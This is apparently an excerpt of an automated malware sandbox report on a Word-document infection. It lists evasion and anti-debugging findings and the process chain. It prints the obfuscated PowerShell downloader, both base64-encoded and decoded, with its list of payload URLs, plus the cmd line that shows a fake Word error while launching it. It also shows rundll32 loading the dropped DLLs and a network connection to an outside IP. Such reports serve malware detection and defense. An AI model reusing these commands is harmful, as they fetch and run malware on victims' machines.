Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 7_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026EEF FindFirstFileExW, 7_2_10026EEF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 8_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026EEF FindFirstFileExW, 8_2_10026EEF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: rundll32.exe, 00000007.00000002.2106883805.00000000004ED000.00000004.00000020.sdmp Binary or memory string: VMware_S
Source: rundll32.exe, 00000007.00000002.2106883805.00000000004ED000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001E91 Control_RunDLL,LoadLibraryA,LoadLibraryA,LoadLibraryA,_strlen,GetProcAddress,GetProcAddress,GetProcAddress,LdrFindResource_U,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrAccessResource,WriteFileGather,VirtualAlloc,MessageBoxA, 7_2_10001E91
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1003B720 IsDebuggerPresent, 7_2_1003B720
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026594 mov eax, dword ptr fs:[00000030h] 7_2_10026594
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100265D7 mov eax, dword ptr fs:[00000030h] 7_2_100265D7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002661A mov eax, dword ptr fs:[00000030h] 7_2_1002661A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001065E mov eax, dword ptr fs:[00000030h] 7_2_1001065E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026675 mov eax, dword ptr fs:[00000030h] 7_2_10026675
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100106EC mov ecx, dword ptr fs:[00000030h] 7_2_100106EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002673B mov eax, dword ptr fs:[00000030h] 7_2_1002673B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002677F mov eax, dword ptr fs:[00000030h] 7_2_1002677F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100267C3 mov eax, dword ptr fs:[00000030h] 7_2_100267C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100267F4 mov eax, dword ptr fs:[00000030h] 7_2_100267F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2C4FF mov eax, dword ptr fs:[00000030h] 7_2_00B2C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026594 mov eax, dword ptr fs:[00000030h] 8_2_10026594
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100265D7 mov eax, dword ptr fs:[00000030h] 8_2_100265D7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1002661A mov eax, dword ptr fs:[00000030h] 8_2_1002661A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1001065E mov eax, dword ptr fs:[00000030h] 8_2_1001065E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026675 mov eax, dword ptr fs:[00000030h] 8_2_10026675
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100106EC mov ecx, dword ptr fs:[00000030h] 8_2_100106EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1002673B mov eax, dword ptr fs:[00000030h] 8_2_1002673B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1002677F mov eax, dword ptr fs:[00000030h] 8_2_1002677F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100267C3 mov eax, dword ptr fs:[00000030h] 8_2_100267C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100267F4 mov eax, dword ptr fs:[00000030h] 8_2_100267F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026C4FF mov eax, dword ptr fs:[00000030h] 8_2_0026C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001BC4FF mov eax, dword ptr fs:[00000030h] 9_2_001BC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0024C4FF mov eax, dword ptr fs:[00000030h] 10_2_0024C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FC4FF mov eax, dword ptr fs:[00000030h] 11_2_001FC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AC4FF mov eax, dword ptr fs:[00000030h] 12_2_006AC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001BC4FF mov eax, dword ptr fs:[00000030h] 13_2_001BC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0016C4FF mov eax, dword ptr fs:[00000030h] 14_2_0016C4FF
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000288D GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,VirtualAlloc,und_memcpy,SetLastError,SetLastError, 7_2_1000288D
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10003EE0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_10003EE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004076 SetUnhandledExceptionFilter, 7_2_10004076
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000E144 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_1000E144
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004171 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 7_2_10004171
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10003EE0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_10003EE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10004076 SetUnhandledExceptionFilter, 8_2_10004076
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_1000E144 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_1000E144
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10004171 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 8_2_10004171

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 152.170.79.100 80
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded $69mDT7 = [tyPE]("{1}{3}{0}{2}"-f'R','S','Y','YStEM.IO.diREcTO') ; $y10I = [TypE]("{6}{3}{2}{7}{4}{1}{5}{8}{0}"-f 'aGeR','t.','E','YSt','NE','sERviC','s','m.','ePointman');$ErrorActionPreference = (('Si'+'lently')+('Co'+'n')+'t'+('in'+'u')+'e');$Py0ebji=$K12O + [char](64) + $P65Z;$X92C=(('U'+'_8')+'R'); $69Mdt7::"Cr`eaT`EdIRECto`RY"($HOME + (('Z'+('M'+'PYgy'+'h')+('lqtZ'+'M')+'PB'+('x'+'5j')+'f'+('moZM'+'P'))-ReplacE([ChaR]90+[ChaR]77+[ChaR]80),[ChaR]92));$G77G=('X8'+'0P'); $y10I::"SeCurIt`yprO`TO`coL" = (('Tl'+'s')+'12');$J34J=(('Z2'+'8')+'N');$Ri62sok = ('R4'+'3H');$T9_I=('H5'+'8L');$Bhnwe92=$HOME+(('Mo'+('QYg'+'y')+('hlqtMoQ'+'B'+'x')+('5jfm'+'oM'+'oQ'))."r`EPl`ACe"(('Mo'+'Q'),[STRiNG][CHAr]92))+$Ri62sok+(('.'+'dl')+'l');$W50V=('Y'+('79'+'Y'));$Og_43_m=(']'+('b2[s:'+'/'+'/all')+('ca'+'nnabi'+'sme')+('d'+'s.com'+'/')+('u'+'nr')+('aid-'+'map/Z'+'Z')+('m'+'6/'+'@]b')+('2['+'s')+('://g'+'i'+'an')+'n'+('a'+'spsy'+'c')+'hi'+('c'+'stu')+('di'+'o.com')+('/'+'cgi-')+('bi'+'n/P'+'P/@'+']')+('b'+'2[s:')+'//'+('ieng'+'lish'+'abc.'+'c')+('o'+'m/')+('c'+'ow/'+'JH/@'+']b2[s:/')+'/a'+('b'+'ril')+('lof'+'u')+('rnit'+'u')+('r'+'e.c')+('om/b'+'ph'+'-'+'nclex-wy'+'g')+('q'+'4'+'/a7nB')+'f'+('hs'+'/')+'@'+']'+('b2'+'[')+('s'+'s:/'+'/et'+'k'+'inded')+('ek'+'tiflik.c'+'o')+('m/pc'+'ie-s'+'p')+'e'+('ed/'+'U/@]b2['+'ss')+('://vst'+'s'+'a')+'mp'+('le'+'.com/wp-'+'incl'+'ud'+'es'+'/'+'7eX')+('eI'+'/'+'@]b2[')+'s:'+'//'+('ezi'+'-pos.c'+'om/c'+'ategory'+'l'+'/x/'))."rEplA`ce"((']'+('b'+'2[
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $69mDT7 = [tyPE]("{1}{3}{0}{2}"-f'R','S','Y','YStEM.IO.diREcTO') ; $y10I = [TypE]("{6}{3}{2}{7}{4}{1}{5}{8}{0}"-f 'aGeR','t.','E','YSt','NE','sERviC','s','m.','ePointman');$ErrorActionPreference = (('Si'+'lently')+('Co'+'n')+'t'+('in'+'u')+'e');$Py0ebji=$K12O + [char](64) + $P65Z;$X92C=(('U'+'_8')+'R'); $69Mdt7::"Cr`eaT`EdIRECto`RY"($HOME + (('Z'+('M'+'PYgy'+'h')+('lqtZ'+'M')+'PB'+('x'+'5j')+'f'+('moZM'+'P'))-ReplacE([ChaR]90+[ChaR]77+[ChaR]80),[ChaR]92));$G77G=('X8'+'0P'); $y10I::"SeCurIt`yprO`TO`coL" = (('Tl'+'s')+'12');$J34J=(('Z2'+'8')+'N');$Ri62sok = ('R4'+'3H');$T9_I=('H5'+'8L');$Bhnwe92=$HOME+(('Mo'+('QYg'+'y')+('hlqtMoQ'+'B'+'x')+('5jfm'+'oM'+'oQ'))."r`EPl`ACe"(('Mo'+'Q'),[STRiNG][CHAr]92))+$Ri62sok+(('.'+'dl')+'l');$W50V=('Y'+('79'+'Y'));$Og_43_m=(']'+('b2[s:'+'/'+'/all')+('ca'+'nnabi'+'sme')+('d'+'s.com'+'/')+('u'+'nr')+('aid-'+'map/Z'+'Z')+('m'+'6/'+'@]b')+('2['+'s')+('://g'+'i'+'an')+'n'+('a'+'spsy'+'c')+'hi'+('c'+'stu')+('di'+'o.com')+('/'+'cgi-')+('bi'+'n/P'+'P/@'+']')+('b'+'2[s:')+'//'+('ieng'+'lish'+'abc.'+'c')+('o'+'m/')+('c'+'ow/'+'JH/@'+']b2[s:/')+'/a'+('b'+'ril')+('lof'+'u')+('rnit'+'u')+('r'+'e.c')+('om/b'+'ph'+'-'+'nclex-wy'+'g')+('q'+'4'+'/a7nB')+'f'+('hs'+'/')+'@'+']'+('b2'+'[')+('s'+'s:/'+'/et'+'k'+'inded')+('ek'+'tiflik.c'+'o')+('m/pc'+'ie-s'+'p')+'e'+('ed/'+'U/@]b2['+'ss')+('://vst'+'s'+'a')+'mp'+('le'+'.com/wp-'+'incl'+'ud'+'es'+'/'+'7eX')+('eI'+'/'+'@]b2[')+'s:'+'//'+('ezi'+'-pos.c'+'om/c'+'ategory'+'l'+'/x/'))."rEplA`ce"((']'+('b'+'2[ Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAK Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdqbdtfe.wnx',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bsmdm\ghwk.vcj',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Anheubolw\yblyupae.she',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bwaqczxvcucs\mfqhcresmvq.yyb',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vvkklg\owmtf.xpy',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eqlmzzdzvxl\jxrtnvzlrw.xix',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qjhyis\vvyps.icm',Control_RunDLL Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAK